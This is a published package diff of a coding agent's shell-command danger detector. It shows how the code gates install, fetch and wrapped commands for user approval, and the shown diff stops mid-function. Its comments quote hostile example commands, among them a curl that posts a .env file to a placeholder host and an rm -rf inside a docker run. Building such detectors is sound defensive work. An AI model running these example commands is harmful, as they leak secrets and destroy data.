@alexwkleung/reika 0.6.0 → 0.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +15 -0
- package/README.zh-CN.md +15 -0
- package/dist/agent/bashread.js +177 -0
- package/dist/agent/compaction.js +5 -0
- package/dist/agent/compactionreport.js +184 -0
- package/dist/agent/loop.js +172 -45
- package/dist/agent/noteslotmonitor.js +82 -0
- package/dist/agent/prefillcost.js +16 -0
- package/dist/agent/prompt.js +5 -2
- package/dist/agent/readtrace.js +18 -8
- package/dist/check/typecheck.js +29 -0
- package/dist/cli.js +2 -2
- package/dist/config.js +30 -17
- package/dist/context/bootstrap.js +4 -2
- package/dist/debug.js +15 -0
- package/dist/{headless.js → headless/headless.js} +182 -48
- package/dist/{headlessargs.js → headless/headlessargs.js} +12 -2
- package/dist/headless/headlessprompt.js +132 -0
- package/dist/mcp/client.js +97 -5
- package/dist/mcp/manager.js +15 -2
- package/dist/provider/client.js +28 -0
- package/dist/provider/latches.js +3 -0
- package/dist/provider/noteslot.js +239 -0
- package/dist/provider/templatekwargs.js +31 -0
- package/dist/provider/toolcall.js +22 -1
- package/dist/provider/transport.js +12 -9
- package/dist/session.js +21 -1
- package/dist/{skills.js → skills/skills.js} +93 -13
- package/dist/store/sessions.js +39 -2
- package/dist/store/transcript.js +35 -0
- package/dist/tools/_carriers.js +119 -0
- package/dist/tools/_danger.js +539 -90
- package/dist/tools/_readonly.js +13 -12
- package/dist/ui/App.js +183 -70
- package/dist/ui/Approval.js +80 -33
- package/dist/ui/Confirm.js +1 -27
- package/dist/ui/DiffView.js +23 -12
- package/dist/ui/Question.js +152 -19
- package/dist/ui/ResumeSelect.js +3 -2
- package/dist/ui/Status.js +19 -7
- package/dist/ui/commands.js +47 -1
- package/dist/ui/dialogspecs.js +38 -0
- package/dist/ui/layout.js +118 -0
- package/package.json +1 -1
- /package/dist/{skillmatch.js → skills/skillmatch.js} +0 -0
package/dist/tools/_danger.js
CHANGED
|
@@ -9,7 +9,8 @@ import { execFileSync } from 'node:child_process';
|
|
|
9
9
|
import { existsSync } from 'node:fs';
|
|
10
10
|
import { homedir } from 'node:os';
|
|
11
11
|
import { dirname, join, resolve } from 'node:path';
|
|
12
|
-
import { WORD_RE, maskQuoted, maskShellData, splitSegments, words } from './_readonly.js';
|
|
12
|
+
import { WORD_RE, dequote, maskQuoted, maskShellData, splitSegments, words } from './_readonly.js';
|
|
13
|
+
import { CARRIERS, carrierOptionValue } from './_carriers.js';
|
|
13
14
|
import { scanHeredocs, stripHeredocs } from './_heredoc.js';
|
|
14
15
|
import { maskMarkdownData } from './_markdown.js';
|
|
15
16
|
// Workflow-policy commands: not destructive (a commit is local and reversible, a push is
|
|
@@ -161,21 +162,25 @@ const PACKAGE_PATTERNS = [
|
|
|
161
162
|
// earlier one (`GENERIC_PACKAGE_RE` ends in `install`, so a `""` run backtracks catastrophically).
|
|
162
163
|
// `words()` is a lexer, so it costs one linear scan.
|
|
163
164
|
const GENERIC_PACKAGE_RE = /^(?:\S+\s+){1,3}?(?:-{1,2}[\w-]+\s+)*(un)?install(?![\w./-])/;
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
// whitespace reading finds AFTER it, and an apostrophe in a trailing comment (`mv "old install" new
|
|
168
|
-
// # it's fine`) must not license a verb read out of the closed quote before it.
|
|
169
|
-
function firstDroppedQuote(segment) {
|
|
165
|
+
function lexSegment(segment) {
|
|
166
|
+
const list = [];
|
|
167
|
+
let dropped = -1;
|
|
170
168
|
let at = 0;
|
|
171
169
|
for (const m of segment.matchAll(WORD_RE)) {
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
170
|
+
if (dropped < 0) {
|
|
171
|
+
const gap = segment.slice(at, m.index).search(/["']/);
|
|
172
|
+
if (gap >= 0)
|
|
173
|
+
dropped = at + gap;
|
|
174
|
+
}
|
|
175
|
+
list.push(dequote(m[0]));
|
|
175
176
|
at = m.index + m[0].length;
|
|
176
177
|
}
|
|
177
|
-
|
|
178
|
-
|
|
178
|
+
if (dropped < 0) {
|
|
179
|
+
const gap = segment.slice(at).search(/["']/);
|
|
180
|
+
if (gap >= 0)
|
|
181
|
+
dropped = at + gap;
|
|
182
|
+
}
|
|
183
|
+
return { words: list, dropped };
|
|
179
184
|
}
|
|
180
185
|
// A flag token: the gap between the leading words and the verb.
|
|
181
186
|
const GENERIC_FLAG_RE = /^-{1,2}[\w-]+$/;
|
|
@@ -204,6 +209,42 @@ const READ_ONLY_LEAD_RE = /^(?:e?grep|fgrep|rg|ag|ack|find|man|which|type|wherei
|
|
|
204
209
|
// release from a cluster, and a misleading label is its own bug: the warning text is what the
|
|
205
210
|
// user reads to decide.
|
|
206
211
|
const SELF_COVERED_LEAD_RE = /^(?:helm|kubectl|oc|docker|podman|terraform|tofu|pulumi)\b/;
|
|
212
|
+
const INSTALL_LABEL = 'Install command (fetches and runs third-party code)';
|
|
213
|
+
const UNINSTALL_LABEL = 'Uninstall command (removes third-party code)';
|
|
214
|
+
// Coreutils `install` COPIES files into place and fetches nothing (#794). It still prompts — an
|
|
215
|
+
// install into `/etc` under sudo is exactly what the gate is for — but with a label that is true.
|
|
216
|
+
const FILE_INSTALL_LABEL = 'File install (copies into place)';
|
|
217
|
+
// What makes a verb coreutils `install` is where the word sits, not which flags or how many operands
|
|
218
|
+
// follow it (#794): for coreutils the word IS the command (`install -m 644 a b`, `/usr/bin/install …`,
|
|
219
|
+
// `sudo install …`), and for `make install` / `conda install x` / `bundle install` it is an ARGUMENT
|
|
220
|
+
// to the command that does the installing. A flag set would have to guess — `make -C x install -j4`
|
|
221
|
+
// and `conda install -m 644 numpy` carry coreutils-looking flags too — and a path-operand count would
|
|
222
|
+
// call `conda install numpy src` a file copy. `quoted` is the segment after its assignments and
|
|
223
|
+
// wrappers are stripped, so its first word is the command the shell runs.
|
|
224
|
+
//
|
|
225
|
+
// A FRAGMENT is excluded because its first word is not a command word at all: `echo "$(date) install
|
|
226
|
+
// later"` is cut at `install`, which is a word of the same quoted argument (#794).
|
|
227
|
+
function isFileInstall(read, lexed) {
|
|
228
|
+
if (read.fragment)
|
|
229
|
+
return false;
|
|
230
|
+
const first = lexed.words[0] ?? '';
|
|
231
|
+
return first.slice(first.lastIndexOf('/') + 1) === 'install';
|
|
232
|
+
}
|
|
233
|
+
function segmentReads(segments) {
|
|
234
|
+
const reads = [];
|
|
235
|
+
for (const { text, fragment } of segments) {
|
|
236
|
+
const raw = text.trim();
|
|
237
|
+
if (!raw)
|
|
238
|
+
continue;
|
|
239
|
+
reads.push({
|
|
240
|
+
raw,
|
|
241
|
+
quoted: stripVerbPrefix(raw),
|
|
242
|
+
spaced: raw.replace(VERB_PREFIX_WS_RE, ''),
|
|
243
|
+
fragment,
|
|
244
|
+
});
|
|
245
|
+
}
|
|
246
|
+
return reads;
|
|
247
|
+
}
|
|
207
248
|
// Reads `verbSegments`' segments, so the two per-segment readers agree on what a segment is (#749).
|
|
208
249
|
//
|
|
209
250
|
// The lead is tested after the verb prefix is stripped, not on the raw segment (#757): what a
|
|
@@ -217,28 +258,45 @@ const SELF_COVERED_LEAD_RE = /^(?:helm|kubectl|oc|docker|podman|terraform|tofu|p
|
|
|
217
258
|
// verb inside the budget (`env A=1 sudo time conda install numpy`) and can also move one out of it
|
|
218
259
|
// (`sudo install -m 644 x /etc/x` has its verb at word 1, and word 0 is past this reader by design).
|
|
219
260
|
// Both readings, unioned — the same rule that keeps a label at least as wide as it was.
|
|
220
|
-
function genericPackageLabel(
|
|
221
|
-
|
|
222
|
-
|
|
261
|
+
function genericPackageLabel(reads) {
|
|
262
|
+
let fileInstall = false;
|
|
263
|
+
for (const read of reads) {
|
|
264
|
+
if (!read.quoted ||
|
|
265
|
+
READ_ONLY_LEAD_RE.test(read.quoted) ||
|
|
266
|
+
SELF_COVERED_LEAD_RE.test(read.quoted)) {
|
|
223
267
|
continue;
|
|
224
|
-
|
|
225
|
-
|
|
268
|
+
}
|
|
269
|
+
const stripped = lexSegment(read.quoted);
|
|
270
|
+
// Decided per segment, so a file copy in one segment cannot relabel a real install in another
|
|
271
|
+
// (`make install && install -m 644 a b` is an Install, #843 review). The raw reading of this
|
|
272
|
+
// segment is skipped with it: `sudo install …` has its `install` at word 1 there.
|
|
273
|
+
if (isFileInstall(read, stripped)) {
|
|
274
|
+
fileInstall = true;
|
|
226
275
|
continue;
|
|
227
276
|
}
|
|
228
|
-
|
|
229
|
-
|
|
277
|
+
// A FRAGMENT names no verb of its own: its words belong to the command around the substitution,
|
|
278
|
+
// which the outer reading already reads whole. Read here, `A="$(date) x" install -m 644 a b`
|
|
279
|
+
// counted `x"` as a leading word and called the file copy a package install.
|
|
280
|
+
if (read.fragment)
|
|
281
|
+
continue;
|
|
282
|
+
for (const { seg, lex } of read.quoted === read.raw
|
|
283
|
+
? [{ seg: read.raw, lex: stripped }]
|
|
284
|
+
: [
|
|
285
|
+
{ seg: read.raw, lex: lexSegment(read.raw) },
|
|
286
|
+
{ seg: read.quoted, lex: stripped },
|
|
287
|
+
]) {
|
|
288
|
+
const word = genericVerbWord(lex.words);
|
|
230
289
|
// The whitespace reading only where `words()` split a quote it could not close, and only for a
|
|
231
290
|
// verb that quote comes before — see above.
|
|
232
|
-
const
|
|
233
|
-
const
|
|
234
|
-
const m = ws && dropped < ws[0].length ? ws : undefined;
|
|
291
|
+
const ws = lex.dropped >= 0 ? GENERIC_PACKAGE_RE.exec(seg) : null;
|
|
292
|
+
const m = ws && lex.dropped < ws[0].length ? ws : undefined;
|
|
235
293
|
if (word === 'uninstall' || m?.[1])
|
|
236
|
-
return
|
|
294
|
+
return UNINSTALL_LABEL;
|
|
237
295
|
if (word === 'install' || m)
|
|
238
|
-
return
|
|
296
|
+
return INSTALL_LABEL;
|
|
239
297
|
}
|
|
240
298
|
}
|
|
241
|
-
return undefined;
|
|
299
|
+
return fileInstall ? FILE_INSTALL_LABEL : undefined;
|
|
242
300
|
}
|
|
243
301
|
// Cluster and container CLIs get the OPPOSITE polarity from the install patterns above, and the
|
|
244
302
|
// reason is the risk asymmetry. Read verbs are a small closed set; mutating verbs are a long open
|
|
@@ -673,22 +731,19 @@ const VERB_PATTERNS = [
|
|
|
673
731
|
// reading, and the value is exactly what that `bash -c` runs. So `verbLabels` reads a segment both
|
|
674
732
|
// ways and reports the union — quoting can add a label, and cannot cost one. Both readings strip the
|
|
675
733
|
// same words, from one list, or the union would disagree about a wrapper only one of them knows.
|
|
676
|
-
|
|
677
|
-
|
|
678
|
-
|
|
679
|
-
|
|
680
|
-
|
|
681
|
-
|
|
682
|
-
|
|
683
|
-
|
|
684
|
-
|
|
685
|
-
|
|
686
|
-
|
|
687
|
-
|
|
688
|
-
|
|
689
|
-
'until',
|
|
690
|
-
'!',
|
|
691
|
-
];
|
|
734
|
+
//
|
|
735
|
+
// The words are `_carriers.ts`'s table plus the shell grammar a segment can open with (`if curl …
|
|
736
|
+
// ; then`). The table is shared with `_readonly.ts`'s `dropCarriers` (#756) because a carrier only
|
|
737
|
+
// one of the two knew is a fetch that runs unprompted on this side and a refused read on that one:
|
|
738
|
+
// `timeout 5 curl x` and `nice curl x` each reported NOTHING here, so under `safe` the fetch ran.
|
|
739
|
+
//
|
|
740
|
+
// The whitespace reading is the blind half of that pair, and it can only see bare words: it has no
|
|
741
|
+
// way to tell which of a carrier's tokens is an option's value, so it strips the carrier's NAME and
|
|
742
|
+
// leaves its operands standing (`timeout 5 curl` reads as `5 curl`). Nothing is lost by that — a
|
|
743
|
+
// leftover operand is a word no `^`-anchored pattern matches, and the union takes the label from
|
|
744
|
+
// the quoted reading, which is the one that reaches the verb.
|
|
745
|
+
const SHELL_PREFIX_KEYWORDS = ['if', 'then', 'else', 'elif', 'do', 'while', 'until', '!'];
|
|
746
|
+
const VERB_PREFIX_WORDS = [...Object.keys(CARRIERS), ...SHELL_PREFIX_KEYWORDS];
|
|
692
747
|
const VERB_PREFIX_WORD_SET = new Set(VERB_PREFIX_WORDS);
|
|
693
748
|
const VERB_PREFIX_WS_RE = new RegExp(String.raw `^(?:(?:[A-Za-z_]\w*=\S*|${VERB_PREFIX_WORDS.join('|')})\s+)+`);
|
|
694
749
|
const SHELL_WORD_RE = /(?:"(?:[^"\\]|\\[\s\S])*"|\$'(?:[^'\\]|\\[\s\S])*'|'[^']*'|\\[\s\S]|[^\s"'\\])+/y;
|
|
@@ -697,20 +752,20 @@ const WORD_GAP_RE = /\s+/y;
|
|
|
697
752
|
const ENV_ASSIGN_WORD_RE = /^[A-Za-z_]\w*=/;
|
|
698
753
|
// A wrapper's own options sit between it and the command it runs (`sudo -u me grep …`, `env -i …`,
|
|
699
754
|
// `time -p …`); left in place, the option became the lead and the command behind it read as an
|
|
700
|
-
// argument (#757 review).
|
|
701
|
-
|
|
702
|
-
|
|
703
|
-
|
|
704
|
-
|
|
705
|
-
time: new Set(['-o', '-f']),
|
|
706
|
-
};
|
|
707
|
-
const WRAPPER_WORDS = new Set(['sudo', 'command', 'nohup', 'exec', 'env', 'time']);
|
|
755
|
+
// argument (#757 review). Which options those are — and how many operands the carrier itself takes
|
|
756
|
+
// before the command (`timeout`'s DURATION) — is `_carriers.ts`'s table, read here and in
|
|
757
|
+
// `_readonly.ts`'s `dropCarriers` (#756). Its lists are closed on purpose: an option nobody
|
|
758
|
+
// enumerated costs a label, which is the direction this file errs in.
|
|
759
|
+
const CARRIER_WORDS = new Set(Object.keys(CARRIERS));
|
|
708
760
|
// `command -v x` looks `x` up and runs nothing, so it has no verb at all.
|
|
709
761
|
const COMMAND_LOOKUP_RE = /^-[a-zA-Z]*[vV]/;
|
|
710
762
|
function stripVerbPrefix(segment) {
|
|
711
763
|
let at = 0;
|
|
712
|
-
let
|
|
764
|
+
let carrier;
|
|
713
765
|
let takesValue = false;
|
|
766
|
+
// Operands the carrier still takes before the command it runs: one for `timeout`, whose DURATION
|
|
767
|
+
// is not an option and used to land in verb position (`timeout 5 curl x` read as a `5`).
|
|
768
|
+
let operands = 0;
|
|
714
769
|
for (;;) {
|
|
715
770
|
SHELL_WORD_RE.lastIndex = at;
|
|
716
771
|
let end = SHELL_WORD_RE.exec(segment) ? SHELL_WORD_RE.lastIndex : at;
|
|
@@ -720,29 +775,38 @@ function stripVerbPrefix(segment) {
|
|
|
720
775
|
end = NON_SPACE_RUN_RE.lastIndex;
|
|
721
776
|
}
|
|
722
777
|
const word = segment.slice(at, end);
|
|
723
|
-
if (
|
|
778
|
+
if (carrier === 'command' && COMMAND_LOOKUP_RE.test(word))
|
|
724
779
|
return '';
|
|
725
|
-
const isOption =
|
|
780
|
+
const isOption = carrier !== undefined && (takesValue || word.startsWith('-'));
|
|
726
781
|
WORD_GAP_RE.lastIndex = end;
|
|
727
782
|
const gap = WORD_GAP_RE.exec(segment);
|
|
728
|
-
if (!gap ||
|
|
783
|
+
if (!gap ||
|
|
784
|
+
!(isOption || operands > 0 || VERB_PREFIX_WORD_SET.has(word) || ENV_ASSIGN_WORD_RE.test(word))) {
|
|
729
785
|
return segment.slice(at);
|
|
730
786
|
}
|
|
731
787
|
if (takesValue) {
|
|
732
788
|
takesValue = false;
|
|
733
789
|
}
|
|
734
790
|
else if (isOption) {
|
|
735
|
-
// `--` ends the
|
|
791
|
+
// `--` ends the carrier's options: the next word is the command, even one spelled `-x`.
|
|
736
792
|
if (word === '--')
|
|
737
|
-
|
|
793
|
+
carrier = undefined;
|
|
738
794
|
else
|
|
739
|
-
takesValue =
|
|
795
|
+
takesValue = carrierOptionValue(carrier, word);
|
|
740
796
|
}
|
|
741
|
-
else if (
|
|
742
|
-
|
|
797
|
+
else if (ENV_ASSIGN_WORD_RE.test(word)) {
|
|
798
|
+
// An assignment is `env`'s own operand (`env FOO=1 -S …`) and leaves the carrier in place.
|
|
743
799
|
}
|
|
744
|
-
else if (
|
|
745
|
-
|
|
800
|
+
else if (operands > 0) {
|
|
801
|
+
operands--;
|
|
802
|
+
}
|
|
803
|
+
else if (CARRIER_WORDS.has(word)) {
|
|
804
|
+
carrier = word;
|
|
805
|
+
operands = CARRIERS[word].operands;
|
|
806
|
+
}
|
|
807
|
+
else {
|
|
808
|
+
// A shell keyword: it runs the word after it, and is no carrier itself.
|
|
809
|
+
carrier = undefined;
|
|
746
810
|
}
|
|
747
811
|
at = WORD_GAP_RE.lastIndex;
|
|
748
812
|
}
|
|
@@ -867,8 +931,14 @@ function verbData(command) {
|
|
|
867
931
|
const syntax = maskShellData(command);
|
|
868
932
|
const masked = maskQuoted(command);
|
|
869
933
|
const scan = scanHeredocs(command);
|
|
870
|
-
if (scan.uncertain
|
|
871
|
-
return { syntax, pasted: [] };
|
|
934
|
+
if (scan.uncertain)
|
|
935
|
+
return { syntax, pasted: [], substitutions: [] };
|
|
936
|
+
// A shell anywhere in the command keeps every body in the scan, but the substitution spans are
|
|
937
|
+
// still the lexer's own: without them `FOO="$(date) a b c" make install && bash x.sh` lost the
|
|
938
|
+
// outer reading for naming a shell (#843 review).
|
|
939
|
+
if (shellOutsideBodies(command, scan.heredocs)) {
|
|
940
|
+
return { syntax, pasted: [], substitutions: scan.substitutions };
|
|
941
|
+
}
|
|
872
942
|
const pasted = [];
|
|
873
943
|
for (const h of scan.heredocs) {
|
|
874
944
|
if (!h.literal)
|
|
@@ -898,23 +968,38 @@ function verbData(command) {
|
|
|
898
968
|
continue;
|
|
899
969
|
pasted.push([h.bodyStart - 1, h.bodyEnd]);
|
|
900
970
|
}
|
|
901
|
-
return { syntax, pasted };
|
|
971
|
+
return { syntax, pasted, substitutions: scan.substitutions };
|
|
902
972
|
}
|
|
903
|
-
//
|
|
904
|
-
//
|
|
905
|
-
|
|
906
|
-
|
|
907
|
-
|
|
908
|
-
|
|
909
|
-
|
|
910
|
-
|
|
973
|
+
// The command with each of `ranges` blanked, length-preserving so it still indexes the same way as
|
|
974
|
+
// the masks built from the same text. Blanked to a placeholder WORD rather than to spaces, because a
|
|
975
|
+
// substitution is a word of the command and can be its command word: blanked to spaces,
|
|
976
|
+
// `$(which conda) install numpy` read as coreutils `install` (#843 review). Sorted by start, which is
|
|
977
|
+
// what makes a NESTED range harmless: the lexer records a substitution when it CLOSES, so an inner one
|
|
978
|
+
// is listed before the `$(…)` around it, and blanking the outer first covers the inner already.
|
|
979
|
+
function blankRanges(text, ranges) {
|
|
980
|
+
let out = '';
|
|
981
|
+
let at = 0;
|
|
982
|
+
for (const r of [...ranges].sort((a, b) => a.start - b.start)) {
|
|
983
|
+
if (r.start < at)
|
|
984
|
+
continue;
|
|
985
|
+
out += `${text.slice(at, r.start)}${'_'.repeat(r.end - r.start)}`;
|
|
986
|
+
at = r.end;
|
|
987
|
+
}
|
|
988
|
+
return out + text.slice(at);
|
|
989
|
+
}
|
|
990
|
+
// One pass of the separator walk: `text` cut at every separator `view` finds outside a pasted heredoc
|
|
991
|
+
// body. Split out because `verbSegments` runs it over two views of one command (#794).
|
|
992
|
+
function splitAt(text, view, pasted, substitutions) {
|
|
911
993
|
const segments = [];
|
|
994
|
+
// Where each substitution CLOSED, so the fragment test is a lookup rather than a scan of the spans
|
|
995
|
+
// for every segment — a long script is one command, and both lists can be thousands long.
|
|
996
|
+
const closes = new Set(substitutions.map(s => s.end));
|
|
912
997
|
let start = 0;
|
|
913
998
|
let keep = true;
|
|
914
999
|
VERB_SEPARATOR_RE.lastIndex = 0;
|
|
915
|
-
for (let m = VERB_SEPARATOR_RE.exec(
|
|
1000
|
+
for (let m = VERB_SEPARATOR_RE.exec(view); m; m = VERB_SEPARATOR_RE.exec(view)) {
|
|
916
1001
|
if (keep)
|
|
917
|
-
segments.push(text.slice(start, m.index));
|
|
1002
|
+
segments.push({ text: text.slice(start, m.index), fragment: closes.has(start) });
|
|
918
1003
|
start = m.index + m[0].length;
|
|
919
1004
|
// A separator inside a pasted body ends nothing the shell runs, so the text it closes is not a
|
|
920
1005
|
// segment of its own — and `keep` goes false, which is what holds the body's own lines out of
|
|
@@ -928,19 +1013,43 @@ function verbSegments(command, pasteBodies) {
|
|
|
928
1013
|
keep = !pasted.some(([from, to]) => m.index + m[0].length > from && m.index + m[0].length <= to);
|
|
929
1014
|
}
|
|
930
1015
|
if (keep)
|
|
931
|
-
segments.push(text.slice(start));
|
|
1016
|
+
segments.push({ text: text.slice(start), fragment: closes.has(start) });
|
|
932
1017
|
return segments;
|
|
933
1018
|
}
|
|
934
|
-
|
|
1019
|
+
// A separator the mask blanked is not found at all, so the segment it sits in runs on to the next
|
|
1020
|
+
// real one: cutting there and dropping the rest hid `FOO="a;b" make install` (#749).
|
|
1021
|
+
//
|
|
1022
|
+
// Splitting at a substitution is right for the question INSIDE it — `$(curl …)` runs — but it takes
|
|
1023
|
+
// the head of the command the substitution sits in, so `FOO="$(date) a b c" make install` leaves the
|
|
1024
|
+
// tail `a b c" make install` reading as five leading words and an install nobody sees (#794). The
|
|
1025
|
+
// outer reading is therefore run as well, over the same command with each substitution blanked: to
|
|
1026
|
+
// the shell that value is one assignment word, and everything after it is that command's verb
|
|
1027
|
+
// position. Blanking rather than deleting keeps the indices, and a substitution's own quotes and
|
|
1028
|
+
// separators go with it, so the outer text is if anything more balanced than the command was. Both
|
|
1029
|
+
// readings are reported — one shell line can be both (`docker run "$(cat img)" rm -rf /x`), and a
|
|
1030
|
+
// label the split dropped is what this adds back.
|
|
1031
|
+
//
|
|
1032
|
+
// The outer pass marks nothing a fragment: its segments are cut from text whose substitutions are
|
|
1033
|
+
// gone, so every boundary it finds is a separator the shell sees.
|
|
1034
|
+
function verbSegments(command, pasteBodies) {
|
|
1035
|
+
const { syntax, pasted: found, substitutions } = verbData(command);
|
|
1036
|
+
const pasted = pasteBodies ? found : [];
|
|
1037
|
+
// The shell deletes a line continuation, so the readers see it as the space it leaves; an escaped
|
|
1038
|
+
// backslash before a newline is not one, and the mask is what tells them apart.
|
|
1039
|
+
const text = command.replace(/\\\n/g, (m, at) => syntax[at] === ' ' && syntax[at + 1] === ' ' ? ' ' : m);
|
|
1040
|
+
const inner = splitAt(text, syntax, pasted, substitutions);
|
|
1041
|
+
if (substitutions.length === 0)
|
|
1042
|
+
return inner;
|
|
1043
|
+
const outer = blankRanges(text, substitutions);
|
|
1044
|
+
return [...inner, ...splitAt(outer, maskShellData(outer), pasted, [])];
|
|
1045
|
+
}
|
|
1046
|
+
function verbLabels(reads) {
|
|
935
1047
|
const hits = [];
|
|
936
|
-
for (const
|
|
937
|
-
const trimmed = segment.trim();
|
|
1048
|
+
for (const read of reads) {
|
|
938
1049
|
// Both prefix readings, unioned — see `VERB_PREFIX_WS_RE` above. They agree on any segment
|
|
939
1050
|
// without a quoted value holding a space, which is nearly all of them, so the second pass only
|
|
940
1051
|
// runs when they differ.
|
|
941
|
-
const quoted
|
|
942
|
-
const spaced = trimmed.replace(VERB_PREFIX_WS_RE, '');
|
|
943
|
-
for (const seg of spaced === quoted ? [quoted] : [quoted, spaced]) {
|
|
1052
|
+
for (const seg of read.spaced === read.quoted ? [read.quoted] : [read.quoted, read.spaced]) {
|
|
944
1053
|
if (!seg)
|
|
945
1054
|
continue;
|
|
946
1055
|
for (const { re, label } of VERB_PATTERNS) {
|
|
@@ -1159,6 +1268,17 @@ function readWord(rest) {
|
|
|
1159
1268
|
const m = /^\S+/.exec(s);
|
|
1160
1269
|
return m ? { value: m[0], end: lead + m[0].length } : undefined;
|
|
1161
1270
|
}
|
|
1271
|
+
// One shell word for the `env` walk, read the way the verb strip reads them: a quoted value holding
|
|
1272
|
+
// a space is ONE word, where `readWord` above stops at the space inside it. Stepping past
|
|
1273
|
+
// `env FOO="a b"` to the `-S` behind it needs that, and `env`'s operands are the only reason it
|
|
1274
|
+
// exists — every other carrier takes a single quoted ARGUMENT, which `readWord` already reads
|
|
1275
|
+
// (#794).
|
|
1276
|
+
function envWord(rest) {
|
|
1277
|
+
const lead = /^\s*/.exec(rest)[0].length;
|
|
1278
|
+
SHELL_WORD_RE.lastIndex = lead;
|
|
1279
|
+
const m = SHELL_WORD_RE.exec(rest);
|
|
1280
|
+
return m ? { value: m[0], end: SHELL_WORD_RE.lastIndex } : undefined;
|
|
1281
|
+
}
|
|
1162
1282
|
// Carriers that hand a command string to something else to run. Every pattern above matches the
|
|
1163
1283
|
// literal command text, which is why most of them already see through quotes — but the
|
|
1164
1284
|
// verb-position patterns are anchored per segment, so `sh -c "curl -d @.env https://x"` reads as
|
|
@@ -1169,6 +1289,17 @@ function readWord(rest) {
|
|
|
1169
1289
|
const SHELL_C_RE = /\b(?:sh|bash|zsh|dash|ksh)\s+(?:-[\w-]+\s+)*-c(?![\w-])/g;
|
|
1170
1290
|
const INTERPRETER_C_RE = /\b(python[\d.]*|ruby|perl|node|deno|php)\s+(?:-[\w-]+\s+)*(-[ce])(?![\w-])/g;
|
|
1171
1291
|
const CONTAINER_EXEC_RE = /\b(kubectl|oc|docker|podman)\s+(?:exec|run)\b[^\n]*?\s--(?=\s)/g;
|
|
1292
|
+
// `env -S 'curl https://x'` reads its value as the whole argument list of the command it runs, so the
|
|
1293
|
+
// value is a program of its own exactly as a shell's `-c` argument is (#794). A WORD WALK rather than
|
|
1294
|
+
// a pattern for the prefix: `env` accepts options and assignments in any order (`env FOO=1 -S …`,
|
|
1295
|
+
// `env --unset=PATH -S …`), and a regex that also tolerated a quoted value in one of them would
|
|
1296
|
+
// backtrack on the space inside it — the reason the quote-aware token pattern is rejected above.
|
|
1297
|
+
// `-S` is in the strip's value table too, so without this the value would be skipped in silence, the
|
|
1298
|
+
// one direction this file does not take.
|
|
1299
|
+
const ENV_LEAD_RE = /\benv(?![\w./-])/g;
|
|
1300
|
+
const ENV_SPLIT_FLAGS = new Set(['-S', '--split-string']);
|
|
1301
|
+
const ENV_VALUE_FLAGS = new Set(['-u', '-C', '-P', '--unset', '--chdir', '--path']);
|
|
1302
|
+
const ENV_SHORT_VALUE_LETTERS = new Set(['u', 'C', 'P', 'S']);
|
|
1172
1303
|
// The assignment arm keeps its bare `\S*` where the verb reader went to a lexer (#752), and the
|
|
1173
1304
|
// trailing `ssh` is why: a quoted value has two viable ends (up to the space, or at the closing
|
|
1174
1305
|
// `"`) and an `ssh` that fails to appear makes the engine re-explore every earlier token's choice.
|
|
@@ -1198,6 +1329,66 @@ function nestedBodies(command) {
|
|
|
1198
1329
|
for (const m of command.matchAll(CONTAINER_EXEC_RE)) {
|
|
1199
1330
|
push(`${m[1]} exec`, command.slice(m.index + m[0].length), false);
|
|
1200
1331
|
}
|
|
1332
|
+
// A walk rather than one `readWord`, because `env` takes its options and its `VAR=value` operands
|
|
1333
|
+
// in any order. The words come off `SHELL_WORD_RE` — the strip's own reader — so a quoted value
|
|
1334
|
+
// holding a space (`env FOO="a b" -S …`) is one word and the `-S` behind it is reachable.
|
|
1335
|
+
for (const m of command.matchAll(ENV_LEAD_RE)) {
|
|
1336
|
+
let rest = command.slice(m.index + m[0].length);
|
|
1337
|
+
for (;;) {
|
|
1338
|
+
const w = envWord(rest);
|
|
1339
|
+
if (!w)
|
|
1340
|
+
break;
|
|
1341
|
+
const raw = rest.slice(0, w.end);
|
|
1342
|
+
rest = rest.slice(w.end);
|
|
1343
|
+
const word = dequote(w.value);
|
|
1344
|
+
if (ENV_SPLIT_FLAGS.has(word)) {
|
|
1345
|
+
const body = readWord(rest);
|
|
1346
|
+
if (body)
|
|
1347
|
+
push('env -S', body.value, false);
|
|
1348
|
+
break;
|
|
1349
|
+
}
|
|
1350
|
+
const attached = '--split-string=';
|
|
1351
|
+
if (word.startsWith(attached)) {
|
|
1352
|
+
// The value is read off the RAW word after the `=`, since `word` has it dequoted and
|
|
1353
|
+
// `readWord` knows how to unwrap the quotes it may still be wearing.
|
|
1354
|
+
const body = readWord(raw.slice(raw.indexOf('=') + 1));
|
|
1355
|
+
if (body)
|
|
1356
|
+
push('env -S', body.value, false);
|
|
1357
|
+
break;
|
|
1358
|
+
}
|
|
1359
|
+
// Anything `env` runs a command with has to be an option or a `VAR=value`; the first other
|
|
1360
|
+
// word is that command, and it is not a split string.
|
|
1361
|
+
if (!word.startsWith('-') && !ENV_ASSIGN_WORD_RE.test(word))
|
|
1362
|
+
break;
|
|
1363
|
+
// A short bundle, read as getopt reads it (see `wrapperOptionValue`): the first value-taking
|
|
1364
|
+
// letter takes the rest of the word, or the next word when it is last. `-iS "curl …"` and
|
|
1365
|
+
// `-S'curl …'` are both a split string, and skipping them would hide the command (#843 review).
|
|
1366
|
+
const bundle = /^-[a-zA-Z]/.test(w.value) && !w.value.startsWith('--') ? w.value : '';
|
|
1367
|
+
const at = [...bundle].findIndex((c, i) => i > 0 && ENV_SHORT_VALUE_LETTERS.has(c));
|
|
1368
|
+
if (at > 0) {
|
|
1369
|
+
const attachedValue = at < bundle.length - 1;
|
|
1370
|
+
if (bundle[at] === 'S') {
|
|
1371
|
+
const body = attachedValue ? readWord(bundle.slice(at + 1)) : readWord(rest);
|
|
1372
|
+
if (body)
|
|
1373
|
+
push('env -S', body.value, false);
|
|
1374
|
+
break;
|
|
1375
|
+
}
|
|
1376
|
+
if (!attachedValue) {
|
|
1377
|
+
const arg = envWord(rest);
|
|
1378
|
+
if (!arg)
|
|
1379
|
+
break;
|
|
1380
|
+
rest = rest.slice(arg.end);
|
|
1381
|
+
}
|
|
1382
|
+
continue;
|
|
1383
|
+
}
|
|
1384
|
+
if (ENV_VALUE_FLAGS.has(word)) {
|
|
1385
|
+
const arg = envWord(rest);
|
|
1386
|
+
if (!arg)
|
|
1387
|
+
break;
|
|
1388
|
+
rest = rest.slice(arg.end);
|
|
1389
|
+
}
|
|
1390
|
+
}
|
|
1391
|
